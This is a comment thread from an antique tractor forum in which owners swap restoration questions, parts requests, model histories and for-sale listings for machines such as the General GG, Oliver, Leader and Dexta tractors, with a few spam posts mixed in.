general gg and after the general gg.
Jason Stock wrote on Sunday, September 11, 2011 (PDT):To all,expectly Phil Wright; I have alot of information about the general gg tractors. Most of the information about the general gg tractors and replacent parts are available. It just takes a little bit of research. To my knowledge they were produced from 1939 to 1942. They were also made for four other comapnies or distributor s that sold this tractor at the time period. The Cleveland Tractor Co. made the tractor in Cletrac orange, the Wards twin row also the same general gg tractor was in napa red, they also made the general gg tractor for Massey Harris Co. for only two years and only sold them in Canada,the government also wanted these tractors and ordered them in a green color, the Co-Op B1 tractor was also in red but only sold in the Southern Indiana region and no where else. I own an original Co-Op version and do not know how many were manufactured or the paint codes. This Co-Op version was made in 1941 only and no other years. I can get decal replacements, part replacements, and paint codes for all other general gg tractors. The decals and paint codes for the army and Co-Op version I am still working on but very close. I can tell you that the complete rear axle including the gears and housing is the same as a Cockshutt 20 made by Jackson. The original carburetor on mine is a Marvel Schreiber and all other components on my tractor can be replaced or rebuilt. I still have the original hand crank and magneto on this tractor and though the mag has been rebuilt and recharged it runs extremely well. When I bought it, it had sit in a barn for 32 years and I only put 7hrs. on working on it to get it running. Since then it starts on half a crank. I have info. on good places to have the mag s worked on and more info. on the replacemt parts or about the tractor itself in general. That includes the company before the general gg and after the general gg.
Bryant Schauer wrote on Saturday, September 03, 2011 (PDT):We will be sell a Super 99 GM, unstyled 99, a 98 Massey GM, and a LA Case with the 3-71 Detroit near Faith S.D. on Oct. 7th. Call 605-490-9528 if interested
les hunnie wrote on Saturday, September 03, 2011 (PDT):just purchased a dextra tractor made in ingland.ib removed a bolt that i shoudnt have. on the right side by the brake pedals.there is a round aluminum cover by the foot rest facing the cover at about 11 oclock a small bolt holding somthing inside the housing .question can i remove the alum cover .is it just an inspection plate
Larry Noss wrote on Thursday, September 01, 2011 (PDT):Does anyone know what a 1923 Case 15-27 crossmotor is worth. It is not restored and is in good running condition and I have extra parts for it
Douglas Fritz wrote on Monday, August 22, 2011 (PDT):I have a Leader tractor in very good shape,, SN#1384, can anyone tell me what year this would be, and what model,, it has a herc IXB5 engine
jeremystacey wrote on Tuesday, August 09, 2011 (PDT):i own a 1948 te 20 my tractor is completely restored the only thing i need is a stater i can t seen to locate one if any one has one my phone number is 802-342-8414 i live in fair haven vermont.
H. Neuroth wrote on Monday, August 08, 2011 (PDT):I would like to know if the Harmall H engine has a sepate head containg the intake exhaust or are they in the engine block
doug wilson wrote on Wednesday, August 03, 2011 (PDT):does anyone know of a front loader that fit s well or with not major modifications will fit my dexta. Does anyone know of any power steering that will adapt to a dexta like a set up from a 3000 or 4000 ford. Thanks for any and all help.
Hayden Stone wrote on Tuesday, August 02, 2011 (PDT):We have a General GG that my father purchased new and I put many hrs. on it as a kid. We Farmed 220 acres and it did most of the tillage work. I am redoing it again and need a drive shaft universal if anyone has one let me know.
Randy Sandeen wrote on Friday, July 22, 2011 (PDT):My Father has a Farmall B with a Woods 6 ft. Belly Mower attached, both are in great shape and work great together, he wants 3,500 for it. Great for hugh lawns or a hobby farm. Anyone looking for something like this
Randy wrote on Thursday, July 21, 2011 (PDT):Looking too buy a AC/220 Landhandler
James c mcguire wrote on Thursday, July 07, 2011 (PDT):My dad has a Cockshutt30 1952 NEEDS A CARBURATOR to be shipped to canada CARB.MODEL ZENITH-10432A Can anyone outthere HELP ME
bob vanbeek wrote on Monday, July 04, 2011 (PDT):i just purchased an oliver880 lp if any one has any infrmation on it please email it to me thank you
eric huffman wrote on Thursday, June 23, 2011 (PDT):i have a 3 cylinder ford 2000 diesel which is not the ford 2000 series diesel which began in 1965. The only pictures of tractors that look similar are fordson dextas, am i correct on this assumption
kelly fancher wrote on Tuesday, June 21, 2011 (PDT):My question is could you tell me how much an OC3 4cyl,gas, ROPS crawler/loader weighs. Thank you for your help.
richard wrote on Tuesday, June 07, 2011 (PDT): I have an oil leek at the bolt holding the draw bar, on the transmion housing. there s a bracket holding the bolt or pin . my question is how to remove that brack or pin from the housing
EUGENE KIRKVOLD wrote on Monday, May 30, 2011 (PDT):i HAVE A 1953 F4 SERIES U INDUSTRIAL T TRACTER WITH INDUSTRIAL FACTERY LOADER and lifting working load of 6000 lbs but will lifr up to 9000 lbs I cant find one anywere its etreamly rare and I cant find information on the web about it eather ialso have the complete macanics manual on how to repair it .A GRAVEL COMPANY HAD IT AND USED IT TO LOAD THIER GRAVEL TRUCKS UNTIL FOUR WHEEL LOADERS CAME OUT ITS A 4 CILENDER AT 423 CUBIC INCHES HAS LOTS OF PUSHING POWER AND IS REAL EASY ON GAS FOR THAT BIG AN ENGINE ABOUT 2 GAL AN HR IVE A LOGGING BUS. PART TIME AND HAVE USED IT FOR THAT OR ANY OTHER LIFTING REQUERED
Kevin Mullany wrote on Friday, May 27, 2011 (PDT):Hello, Would it be possible to explain to me a problem with our Oliver oc3 Crawler, I have just started to restore it, so it turns over well, i only have a cranck start, so we have no spark on turning it over, would this be timing issue or distributor/magneto problem. Really appreciated if you could help. Regards Kevin
Ron wrote on Tuesday, May 24, 2011 (PDT):I owned a leader for several years. It served me well. The four cyl Hercules engine and some of the other parts, 3rd member, etc., looked to me to be army surplus parts, perhaps available after the war. I sold it almost 20 yrs ago, and stil regret it to this day.
Linda Ross wrote on Saturday, May 21, 2011 (PDT):Have inherited an old McCormick-Deering Trac Tractor, not sure of the year in the late 30 s, I think..would like to sell to get it a home..Interested please respond. thanks and God Bless..located in Washington state....
John Wills wrote on Tuesday, May 17, 2011 (PDT):I have a Farmall Super C that I would like to find a home for. Complete tractor in good condition with hydraulic accessories. Location is Temecula, CA
russell asher wrote on Tuesday, May 17, 2011 (PDT):allis chalmers d15 series 2 gas power crater eng. WHERE IS THE SERIAL # LOCATED
bleafeedulk wrote on Wednesday, May 11, 2011 (PDT):Hi Guys, tell me please, I am now in Greece, and my parents are in Warsaw how to to pay them anything so they called me less I found just such a an article, maybe someone tried a similar service, or heard of him Tell me please is it real
sig PFAHL wrote on Tuesday, May 10, 2011 (PDT):I wish up date my note of January 2,2010... Please correct the toll free number 1-866-845-3259.. everything else still applies.. still looking for a buda 230 engine block casting #1871
Leon Vaske wrote on Sunday, May 08, 2011 (PDT):looking at a farmers union coop no.3. what engine does it have. are parts available
Mike Linkous wrote on Sunday, May 01, 2011 (PDT):Will a D-17 engine fit in a D-15 without major changes
Albert Schut wrote on Tuesday, April 26, 2011 (PDT):I grew up on a muck farm, my dad and grandfather had an OC6 that they bolted 24 oak 2x4s to the tracks. In the spring when we couldn t get on the field with anything else, that old Oliver would almost walk on water. We still have an OC3 from those days.
J. N Kryder wrote on Friday, April 22, 2011 (PDT):C Harvey, Seems like you have quite a collection of olivers. The 1900 standard with the wide rear tires is what i have. It s coming along quite nicely. Hope to have it restored by the end of this year. I m having a tough time finding a 19 steering wheel. I m not sure if anyone makes reproduction wheels this size. Not sure what to tell you on price. I ve seen them priced at all different ranges. What is the serial number on that Mine is 118416-986. Good luck!
jim hunt wrote on Thursday, April 21, 2011 (PDT):does anyone know where the timing marks are located on a ford 641 diesel for the injector pump Flyweel has none and front pully has none
Dave wrote on Monday, April 18, 2011 (PDT):looking for parts for a 58 Massey Harris,
jim henry wrote on Sunday, April 17, 2011 (PDT):I have a D14/ the problem is the hand clutch will not stay in the high range position I have adjusted the linkages a few times but the problem remains //any ideas thanks
Jack wrote on Thursday, April 14, 2011 (PDT):I need info on heating lock collars on rear axle of 800 ford tractor
joe wrote on Wednesday, April 13, 2011 (PDT):I recently got a 801 with sos, the tractor has a short delay when shifted into gear before it will move. I m unable to locate where to check the fluid level, or the fill. I was told the level/filler was in front of my right foot when sitting on the tractor, however all I see there is a slotted shaft with a lock nut.. need some some help folks.
alex ballweg wrote on Wednesday, April 06, 2011 (PDT):we farm with red a 3788,5088,1486,1086,1466,1066,1456 and a 886 love them all the 1466 is the best!!
C Harvey wrote on Sunday, April 03, 2011 (PDT):Love the olivers! I own one 1800A gas, one 1800B diesel, and one 1800A diesel. Using one for parts and use the other two and they run great, also own Super 88 diesel and it still runs great. Am looking at a 1900 Standard, has the checkerboard sides, huge tires, all there but battery cover , needs cleaned up, said it runs but has hole in fuel tank, has the screamer motor used to own a Super 99 so remember the noise What would be a fair price for this tractor We have several Oliver tractors, my dad really liked them and so do I.
ED bianco wrote on Thursday, March 31, 2011 (PDT):I HAVE A FARMALL CUB I THINK. THE TRACTOR S/N IS121183 THE ENGINE S/N IS 1800 ON THE LEFT SIDE OF THE BLOCK IS THE # 251341R2 CAN ANYONE GIVE ME AN IDEA OF THE YEAR MFG I HAVE BEEN TOLD IT MAY BE A 1951, BUT WOULD LIKE TO BE CERTAIN THANK YOU ED
Peg Miller Maumee Valley Antique Steam Gas Assoc. wrote on Monday, March 28, 2011 (PDT):Thank you for the wonderful picture. We will be having our 17th Annual Winter Tractor Engine Show at the Memorial Coliseum, Fort Wayne, IN. A Waterloo Boy Tractor is going to be shown. I wanted to read up on it. If anyone is interested, our Show is April 1st-April 3. Admission is 7 per person 12 years and older. Parking is 4.00. Over 200 antique tractors, steam engines etc. will be shown. Questions; call Rick Walker, President of Maumee Valley Antique Steam Gas Association at 260/623-4314. Our Club is located at 1720 S. Webster Rd., New Haven, IN 46774. Our Summer Show will be out at the Fairground here August 18- August 21, 2011.
Merlyn Sommervold wrote on Wednesday, March 23, 2011 (PDT):I m looking for a D-12 series III with three point in good shape, please send photo if available.
Ed Dickson wrote on Saturday, March 19, 2011 (PDT):I have recently acquired a Massey Harris Tractor, I am guessing it is a 55, But would like any help identifying for sure. It is for sale, all or for parts in Central Montana. Call 4065807079 3/18/2011
Dave Bartz wrote on Wednesday, March 16, 2011 (PDT):We had 2 oliver 70 s orchard tractors on our fruit farm in Berrien Co. Michigan--a 1947 and a 48 I loved driving the 48 when pulling an off set disc in the orchards when it was under full power. The ole 70 never let me down--it could run all day. The governor on it was interesting--the 70 would rip and snort going up hill and then when heading down hill the governor would hold it back. Then when you headed up hill again, the 70 would let out a couple of snorts and you were back to full power. It was a great tractor.
lynn morelock wrote on Sunday, March 13, 2011 (PDT):Looking for a 160 allis chalmers perkins diesel engine
Dan Lindstrom wrote on Saturday, March 12, 2011 (PST):I have a T9 gas crawler. We need a radiator core for it. Anyone know where it could be found. Local IH dealers parts man says the # in our parts book is no longer available. Thank you
Gordy Prochaska wrote on Monday, March 07, 2011 (PST):Did Oliver make a Cockshutt 880. I have never seen one but have heard they did. I have a 770 and would like an 880.
Alberta_Bound wrote on Wednesday, March 02, 2011 (PST):I have recently acquired an MM M5, Diesel, with a Hydraulic Loader. decent shape, runs. 500. Problem is, its 2 hours away from my house and all i have to tow it with is my half ton with a car hauler. my question is; Does anyone know ballpark the weight of this tractor I believe the safe working load of the trailer is around 6000lbs. I have until spring to pick it up, thanks.
Bill Steele wrote on Tuesday, March 01, 2011 (PST):We are restoring a 1917 12-25 avery tractor ser# 7410 and would like any information on the orginal color schiem and what decals go on, there color and location or any other information would be much appreciated. Thank you Bill
Eric Diedrich wrote on Thursday, February 24, 2011 (PST):anyone no where to find a wiring diagram for starter solenoid on a 1967 D17
Eric Diedrich wrote on Thursday, February 24, 2011 (PST):anyone no where to find a wiring diagram for starter solenoid on a 1967 D17
Doc wrote on Thursday, February 10, 2011 (PST):Hayseed did you sell your m5 Yet. E-mail me
License Plate Search wrote on Thursday, January 27, 2011 (PST):How should you perform a reverse license plate owner research I would like to know if there is any kind of way you can type in a license plate number online and see the contact of that guy if it is associated with or perhaps the address of that person. Can anybody assist me It s an Illinois license plate with S in the end of it. Please email me if you re able to do a search or post if you know the way to do a free one. Thanks in advance.
Evan Ells wrote on Wednesday, January 26, 2011 (PST):I am looking for parts for an SD-3. The one we have the crankshaft broke and need another one. If you know where to find one let me know. I am in Lincoln, NE Thanks Evan
Cole Lake wrote on Monday, January 24, 2011 (PST):About a year ago i bought a oliver 70 row crop and it needed a motor, cause it was locked up from sitting.So i bought another oliver 70 from a guy, and i figured i could take two and make one then restore it later, but the guy got me on that deal and when i got it home after a 200 mile round trip it was seized to. As i worked on that on i found a running restored one 5 miles away for 500 and it came with a half a 60 row crop cut right in half. And just yesterday i found my first whole running oliver 60 that i am hoping to get.They are great running tractors and they are TOUGH i love em. Thanks Grampa for getting me into restoring tractors.
Atr Briard wrote on Saturday, January 22, 2011 (PST): Searching for the cleatrac by Oliver .Running condition.
Randy Hobbs wrote on Wednesday, January 12, 2011 (PST):I grew up on the fender of dads MM M5. I m not sure what year model, 1960 or 1962. His was lpg, 3 pt hitch and had the round wide front axle. I remember the high/low torque lever on the right side near the right and left brake pedals. I just wished I could finde a 1/64 scale model of this same tractor.
Verle Hennings wrote on Monday, January 10, 2011 (PST):My neighbor has his Dad s e-4 coop but can not find anyplace for parts. He does not have internet so I told him I would help. Any ideas for e-4 s.
Dan Owens wrote on Thursday, January 06, 2011 (PST):I need info on a 880 row crop. The serial# is 74-754-872 the spec# is48-0016. I need to know what color is it sea mist green or the oliver dark green. Please help me.
Curt Friday wrote on Thursday, January 06, 2011 (PST): 34 Monarch with steering wheel. Work in progress. 11,600# machine in pretty bad shape.... I ll have it running in a year or so.
donald montgomery wrote on Wednesday, January 05, 2011 (PST):i just found a d12 and am in need of hood, gas tank, and parts book for it.shoot me e mail at dmontgomery57 at yahoo
John wrote on Wednesday, December 29, 2010 (PST):Have 1967 1950 GM FWA for sale new 23.1x34 rear tires, 14.9x28 front 90%, rebuilt engine and 2-speed,fender tanks,540/1000 pto,dual remotes,excellent sheet metal. Call 606-776-4034
bobby wood wrote on Wednesday, December 22, 2010 (PST):liz i am interested in finding la case tractor to restore i drove one as a boy and we powered a thresher with for many years please return any info or pics price and location
William Smith wrote on Wednesday, December 22, 2010 (PST):I bought a GG GENERAL with numbers 2FA654 could anyone help me with year and color or where to find out
S Schroeder wrote on Friday, December 17, 2010 (PST):I have a 1948 Leader D with Hercules engine. Completely restored - runs great - can anyone help me as far as determining the value Thanks
S Schroeder wrote on Friday, December 17, 2010 (PST):I have a Co-op C and Co-op B2. Both are 1940 s models. Completely restored, excellent tin and in good running order. Would anyone know the approximate values
skip miller wrote on Thursday, December 16, 2010 (PST):I am looking for a g1350LP with cab
Robert Briggs wrote on Tuesday, December 14, 2010 (PST):I m the editor of the National Sheppard Diesel Club. For those who are not a member shall contact me for join in the club and newsletter. This will be helpful for you and it is fun to know new and old friends. I am from Iowa. Thanks.
TW Hertel wrote on Saturday, December 11, 2010 (PST):I have several E-3 s and they are real nice machines. I am working on an Cockshutt 20 and am in need of transmission gears. I pretty well have a complete tractor with a motor that was rebuilt from head to toe. The tranmssion sat for years with water in it and the gears are badly pitted. Any help would be greatly appreaciated.
Stan Juhnke wrote on Thursday, December 09, 2010 (PST):Am interested in buying an Oliver 44 or Super 44, and a MM BG.
John Johnston wrote on Sunday, December 05, 2010 (PST):We are attempting to replicate the font type for this vintage Case tractor to use on a toybox I m making for my grandson, Case yes, named after the tractor ; we were hoping to enlarge the picture, then trace the letters, but the shadow on the picture makes it difficult to see. We could not find the proper font on Microsoft Windows or we would have gone that route. Can anyone help
george prince wrote on Sunday, December 05, 2010 (PST):need tranmission gears for sd-4 tractor. any one know where i can find them
Oliver wrote on Friday, November 26, 2010 (PST):I just got my hands dirty on a oliver fleetlined oc4-3G-68 cant wait to get it done from what i have seen it might be rare but not sure. can anyone tell me more info on years where to get parts and if it is rare or not thank you
John Yoder wrote on Thursday, November 25, 2010 (PST):I have a 1928 farmall regular and a few years ago I didn t ajust the rod bushing in time and threw a rod out the side of the engine so I m looking for a complete engine or a block and crank would sooner have a complete engine enybody here know where I might find one
Kevin wrote on Monday, November 22, 2010 (PST):I am looking for a set of fenders for a w4. Thanks
Marty wrote on Monday, November 22, 2010 (PST):I am working with an Aggie School to renovate my Dad s F-14 tractor, looking for a running parts tractor, I have been advised by the school it needs alot of parts as it s got the proverbial cracked block and head of most of these tractors, plus alot of other old parts from sitting....any words of wisdom out there I m in New England....
eric wrote on Friday, October 29, 2010 (PDT):went over 75 acres with an h out in front pulling a 1091 hesston haybine up and down all over northeastern missouri in 2nd gear wish it hadnt rained everyouter day
J N Kryder wrote on Thursday, October 28, 2010 (PDT):My dad ownes a 61 checkerboard as they say with the 4-53 GM Detroit. The unique thing about this tractor is the fact that it has a pan that was set-up for this tractor. We still have the pan as well. We currently are in the process of having the tractor restored. Anyone have ideas on the best places to purchase parts. Gauges/Seats, ect ect. Thanks and keep them GM s Screamin!!
Andrew Welch wrote on Tuesday, October 26, 2010 (PDT):restoring a 1939 styled d.. I need a hood and breather stack..Lake Charles,La-337-515-9674
Jim Phillips wrote on Saturday, October 23, 2010 (PDT):I am restoring a 1938 F-20 with cast rear wheels and would appreciate knowing the correct silver color for the front and rear rims, the tractor is on rubber tires. Thanks, Jim
Rich Hoerth wrote on Thursday, October 21, 2010 (PDT):I have my father s KTA with a radiator that has the Twin MM City wording on it. The tractor has been Prairie Gold since my dad bought it in 1947. I am in the prcess of restoring it. I am coming close to painting. The question is the color I have sripped, sand blasted and removed almost evey inch of old paint and have found no trace of gray paint anywhere on the unit. I have heard that all of the KTA s were gray but my tractor seems to be different. Is this possible I want to paint it Prarie Gold because that is what all of my family has ever known it to be. Any ideas or advice Thanks
Bill Lindgren wrote on Thursday, October 21, 2010 (PDT):I have a 1939 model B on steel lugs what might be it s value
Robert Geiger wrote on Thursday, October 21, 2010 (PDT):In 1962 I was working for an uncle. He already had a D17 and he purchased a D15 for the lighter work. They both were a pleasure to work. Loved the hand clutch. My cousin still has the D15.
levant warmington wrote on Wednesday, October 20, 2010 (PDT):i have a case 560 front end loader from around 1963 not real sure of the date it does not say farmall or international anywhere on it just case 560. any ideas what it could be. it has been sitting for around 20 years it does have a downdrapht carb.
M. E. Shell wrote on Tuesday, October 19, 2010 (PDT):The e-mail address for the 3 previous entries is jimeshell at comcast.net.
M. E. Shell wrote on Tuesday, October 19, 2010 (PDT):I am restoreing a 39 Model H. I am looking for a rear wheel complete wheel rim in good condition. I live in east Tn. There is 3 different sizes widths . The one i am looking for is 6 in. from bead to bead.
M. E. Shell wrote on Tuesday, October 19, 2010 (PDT):I am restoreing a 39 Model H. I am looking for a rear wheel complete wheel rim in good condition. I live in east Tn. There is 3 different sizes widths . The one i am looking for is 6 in. from bead to bead.
joseph henshaw wrote on Tuesday, October 19, 2010 (PDT):do you have engine parts cylinder head or engine for 1920 8/16 junior thanks
Robert Bertollini wrote on Tuesday, October 19, 2010 (PDT):I am looking for an operational magneto for a 1928 regular. Serial # 33498. Mag and control linkage was removed from the one that I have. I also would like to find control linkage. Any info would be greatly appreciated
David Printz wrote on Monday, October 18, 2010 (PDT):I have a 1951 Silver King Tractor model 1942,my Dad bought new. need paint code,decals left head light any other information. Thank-You
GERALYN COVEY wrote on Monday, October 18, 2010 (PDT):WE ARE TRYING TO REFURBISH AN MC CRAWLER AND WE ARE IN NEED OF A FRONT IDLER ASSY.. COULD GET BY WITH PART NUMBER TE221YT, BUT CAN NOT SEEM TO FIND ONE OF THEM EITHER, PLEASE HELP US.. THANKS...
Chavey wrote on Sunday, October 17, 2010 (PDT):I have a cockshutt 60 standar in good shape but I need a Pto shifter box assembly mine is missing and side panels. I m in Saskatchewan. 306 646 4443
anita upchurch wrote on Sunday, October 17, 2010 (PDT):my mother has a 1951 b.f. avery model R. She would like to sell. the tractor is in good shape and still runs. But we have no idea on the value of the tractor. any information would be greatly appreciated. can send picture. most of the tractors we have seen online have the small front end. mom s tractor has the wide front end.
eric wrote on Saturday, October 16, 2010 (PDT):tractorman farm and home stores have what you want
kevin pendry wrote on Friday, October 15, 2010 (PDT):my next door nieghbor just bouht a farm and the people told him he could have the tractor in the shed with the house when we opend the doors their was a cockshut 40 gas engine in excellent cond runs great has brand new snow plow would like more info on it like how to tell the year and what it might be worth
kevin pendry wrote on Friday, October 15, 2010 (PDT):my next door nieghbor just bouht a farm and the people told him he could have the tractor in the shed with the house when we opend the doors their was a cockshut 40 gas engine in excellent cond runs great has brand new snow plow would like more info on it like how to tell the year and what it might be worth
tony strickland wrote on Thursday, October 14, 2010 (PDT):i have a 64 super dexta and ive completly restored it but know my cylenderhead is bad i need one really bad
James Tatum wrote on Tuesday, October 12, 2010 (PDT):I have finished my 1948 D Leader Tractor. I will get to the lights this winter. I need fender s, I have one that can be restored and I guess I will have to fabricate the other one if I can t find one. It was in a tractor show in Denver NC last year and we are going again this year Oct. 18th.
James Ross wrote on Tuesday, October 12, 2010 (PDT):I have a complete ford major with backhoe loder. rebuilt engine new rear tires loose connecting rod. for sale or I will cut it up. Illinois
John wrote on Monday, October 11, 2010 (PDT):I have a 45 B that I recently restored and am wondering what decals are correct. B or B Cultivision Which ones are correct and what year were they used
carl wrote on Monday, October 11, 2010 (PDT):i have a 1952ish case model#23 ser no4096631 and need a engine please help me.......call me at 813-764-4557 or e-mail me ......
jrawson wrote on Monday, October 11, 2010 (PDT):I m wanting to buy a 420C dozer please email if you have one for sale. Thanks 405-277-3334
jerry wrote on Sunday, October 10, 2010 (PDT):i have a 9n tractor and need a starter my problem is i can t get the starter out i removed the 2 bolts and starter came loose but not out the lonshaft with gears on end come part way but not out of themain fram
Jim S wrote on Sunday, October 10, 2010 (PDT):I had a water leak I thought was in a cylinder sleeve, turnes out it was an o-ring in a pre-combustion chamber.I now have a set of sleeves for sale USED 600 New ones were 1500
Jim S wrote on Sunday, October 10, 2010 (PDT):I have a 2010 RU deisel. As everyone else ,I was told after I bought it that it was one of the worst tractors ever. Mine has served me well, with no unusual problems for the year if machine. I REBUILT THE ENGINE LAST WINTER
jrawson wrote on Sunday, October 10, 2010 (PDT):I m interested in the 420C for sale please email me. Thanks
stephen risk wrote on Saturday, October 09, 2010 (PDT):I have 2 leaders not running, one has 2 transmissions, does anyone why or possible the value ot these tractors, thanks frankfort, ky
Wayne Medlin wrote on Saturday, October 09, 2010 (PDT):Recently acquired an Oliver diesel tractor with no grille but the decals on the metal indicate it is a 550. However, the model plate indicates it is a 55-2205. Can anyone help explain to me what I actually have purchased as I don t know which grille I m looking for currently.
Jim Huber wrote on Friday, October 08, 2010 (PDT):we have a Pacer and a single bottom rear mounted plow. we seem to be missing the hardware at the front of the plow beam. The bracket or linkage is the part that pulls the plow. any one with digital photos would really appreciate receiving them to get us started. thanks in advance, Sincerely, Jim
Larry Garretson wrote on Friday, October 08, 2010 (PDT):am restoring 1939 D...i need two front steel wheels and caps....we live Hillsboro, Tx.....254 582 2747
Brad Danhafer wrote on Friday, October 08, 2010 (PDT):I would like to know where i could find parts for a leader tractor... If anyone has any information please respond back. Thanks
Joseph Hauck wrote on Thursday, October 07, 2010 (PDT):My Dad had purchased a 1942 massey harris model 81 row crop when it was a couple years old and i am restoring it right now, it would be 4 generations in our family if i give it to my son, My dad originaly purchased it for his dad to get him away from the horses. Its is for sure a black engine always has been since new.
J. Hitt wrote on Wednesday, October 06, 2010 (PDT):The Abraham Baldwin Agricultural College AET club is building a new pulling tractor based on the AC220. It will replace Cracker Jack our old 190XT pulling tractor
Terry l. Mowdy wrote on Wednesday, October 06, 2010 (PDT):my grandpa had a massey harris 81 but dont remember what year model. but it had two metal planter buckets one on each side.and had lttle plows underneath the tractor with little sweeps on them.if anyone has any pictures of one of theese tractors could send to my email i would appriciate it thanks a lot.
Jim wrote on Wednesday, October 06, 2010 (PDT):The loader on my WD allis is lifts real slow since I had the hyd pump rebuilt. Also when I try to lift a bucket of dirt or snow it will sometimes lift a few inches and stop Any Thoughts
R S WLOCK FARMS wrote on Tuesday, October 05, 2010 (PDT):LOOKING FOR 1900 OLIVER WITH GM Diesel
paul Shelley wrote on Tuesday, October 05, 2010 (PDT):I have 1949 sc restored runs great santa fe ,texas
mike koralia wrote on Sunday, October 03, 2010 (PDT):have a 1947 pony 4 attachments run looks good 3000 live duluth in duluth minn 218 591-9349
mike koralia wrote on Sunday, October 03, 2010 (PDT):have a 1947 pony 4 attachments run looks good 3000
WALTER WHITENTON wrote on Saturday, October 02, 2010 (PDT):MY FATHER AND I USED A LA, CASE POWER UNIT TO PULL A SQUAREMILL FOR YEARS. WOULD START EVERYTIME, HOT WEATHER OR COLD.
john d wrote on Friday, October 01, 2010 (PDT):The 300 utility that I have wiil not lift, these are things I have checked Pump, filter, safety valve, regular vave, replace the lift cylinder. I have flow to the cylinder but no pressure. Can any one help this tractor has been down for a while. I need it to prepair the garden for next year.
johjn donnell wrote on Friday, October 01, 2010 (PDT):The 300 utility that I have wiil not lift, these are things I have checked Pump, filter, safety valve, regular vave, replace the lift cylinder. I have flow to the cylinder but no pressure. Can any one help this tractor has been down for a while. I need it to prepair the garden for next year.
Dennis Gyles wrote on Saturday, September 25, 2010 (PDT):I have a HD5G/TS5 and I am i need of a transmission or a good case. Thanks Dennis
Phil Wright wrote on Saturday, September 25, 2010 (PDT):Who can tell me more about the B-1 CO-OP built by Cleveland Tractor Company Where one is,I am rebuilding one now and need more info. thanx!
Phil Wright wrote on Saturday, September 25, 2010 (PDT):What can anyone tell me about the B-1 CO-OP built by Cleveland tractor company It has a Hercules engine and Clark rear end/transmission. I need to know more,where is one to get pictures of. I am rebuilding one now. Thanx
j.l. DIEGO foraker wrote on Saturday, September 18, 2010 (PDT):I have a 20 with smaller tires on the rear. what size was standard where is the serial # located are engines available are decals available paint hope you can help me,or know someone who can.thanks for your help. DIEGO
Mark wrote on Saturday, September 18, 2010 (PDT):I have a MM M5 gas tractor that I am having problems finding a starter. The starter I have has the cone broke off. Any ideas on replacing the cone or finding a new starter Thanks
Gene House wrote on Friday, September 10, 2010 (PDT):I would like for someone from the Leader Tractor Club to contact me. I m looking at a Leader D to purchase and need to know the availability of any form of manual for it. I was told it is a late 40s model Leader D. Gene
Gene wrote on Thursday, September 09, 2010 (PDT):According to Henry Hahn, in a earlier post, the paint can be bought from NAPA. It is Martin Senour #1956. I ve been trying to reach him for a couple of weeks now without success via e-mail. I don t know if he s on vacation or ill. Hopefully he is OK and will be back on-line soon. Beyond that, I m looking at a Leader D now to purchase and need all of the information I can get and would love to join the club. Gene
john randall wrote on Wednesday, September 08, 2010 (PDT):Need Hercules ixb-5 engine for LEADER TRACTOR 1948 MODEL
mark snider wrote on Sunday, September 05, 2010 (PDT): I would like to know the hp of Leader tractor.
Cameron wrote on Sunday, September 05, 2010 (PDT):I have a 1935 Oliver Hart-Parr 28-44. It s stored at the Rock River Thresheree, but this year it wouldn t start. We have to pull start it, but for some reason it wouldn t spark. Any ideas as how to remedy my problem
Leon wrote on Thursday, September 02, 2010 (PDT):I live in kentville Nova scotia Canada my dad has a oliver oc4 i belive 1949 4cyld.he is 74. and he uses it in the woods on rough land in the winter.to haul wood he just bought a complete ware loader for it .
Johnny J wrote on Tuesday, August 31, 2010 (PDT):I have a 1948 D Leader that I am restoring and want to find the paint color that would come closest to it s original state. Any suggestions and paint dealers
Duraine Davis wrote on Thursday, August 26, 2010 (PDT):I was raised on a S55 Oliver. I have a 65 diesel, restored and installed a Jackson P/S kit. Prefer it over my MF 253 it is a real pleasure to drive and remember my dad s 3 different Olivers. Serial # IS ON LEFTSIDE IN FRONT OF CLUTCH PEDAL
John Gilliam wrote on Thursday, August 26, 2010 (PDT):can any one help me i have a oliver tractor i need to know the year and model the serial number is 13748-518-the spec.number is 15-0005 i hope i can get some help from someone thanks
Glen McDuffie wrote on Monday, August 23, 2010 (PDT):Where is the serial number located on a B F Avery tractor Need to know year model, I can purchase parts. Thanks glen
VIRGIL REINIG wrote on Monday, August 23, 2010 (PDT):I have a allis 200 diesel , duals ,weights ,good rubber , fair paint , remote , book, runs good want to sell hasent done any thing for 10-12 years but mow 5 aceres not sure about hours LEO IN. 260-437-6299 VIRG
ben smith wrote on Wednesday, August 18, 2010 (PDT):to melvin odaker....sorry I don,t know your email address, so if you could email me an address, I will be happy to show off my 62 dexta with roll bar and canopy, or call at above phone number with your email address.
Randall Miller wrote on Tuesday, August 17, 2010 (PDT):I wood like to know if some one could tell the tire size that come on tractor new.thanks
Randall Miller wrote on Tuesday, August 17, 2010 (PDT):the same motor was used in 35 massey ferguson in some TE-20 ferguson made over seas.a 130 massey is a 4cyd. but had a small main bearing. maybe this might help
Melvin Oldaker wrote on Tuesday, August 17, 2010 (PDT):Hi, I am interested in the roll over bar. I would appriciate it if you would email in to me.
ben smith wrote on Sunday, August 15, 2010 (PDT):my 62 dexta has a rollover bar and a cnopy--will email a picture on request 541-799-9677
ben smith wrote on Sunday, August 15, 2010 (PDT):I have a 62 dexta that needs shipped from oregon to southern mexico. can anyone tell me the approximate weight and the outside width of the rear tires My dexta looks exactly the same as the one pictured at the beginning of this forum thanks ben
chess free game wrote on Friday, August 13, 2010 (PDT):In theory I d like to write like this too - taking time and real effort to make a good article... but what can I say... I procrastinate alot and never seem to get something done.
Jack Randolph wrote on Thursday, August 12, 2010 (PDT):How does this thing compare to a Farmall A Can it compare -- just joking -- How about horsepower, etc Can t seem to find much information anywhere. Would implements from a Farmall fit this Oliver or vise versa
floyd wrote on Tuesday, August 10, 2010 (PDT):i am led to believe that i have a 1934-35ish crawler about half of it the frame gear box and track i plane to in stall a ford six cyl. motor and use it to move snow and maintain my driveway it would be nice to have a repair manual and i would like to try and find the sheet metal to make it look original any imfo. would help thank you.
ronnie quisenberry wrote on Thursday, July 29, 2010 (PDT):Iwas raised on A 550 oliver in meade CO.ky.my dad bought it new in 1960 i have one now it is in good condition for sale
Victor W. wrote on Thursday, July 29, 2010 (PDT):I have a super dexta. I have been trying to find main bearings for it. I ordered some from this site and they were to big. My tractor has a smaller main bearing journal than they say it should have. The crank has been turned .10 thousands. The bearings they sent are extremely bigger.
Craig wrote on Monday, July 26, 2010 (PDT):I have a d15 series 2 tractor. I am having trouble finding the serial number on the tractor. I would also like information a changing the fan belt. The tractor has a front hydraulic pump. Can I take the hydraulic pump off easily to get to the fan belt to change it
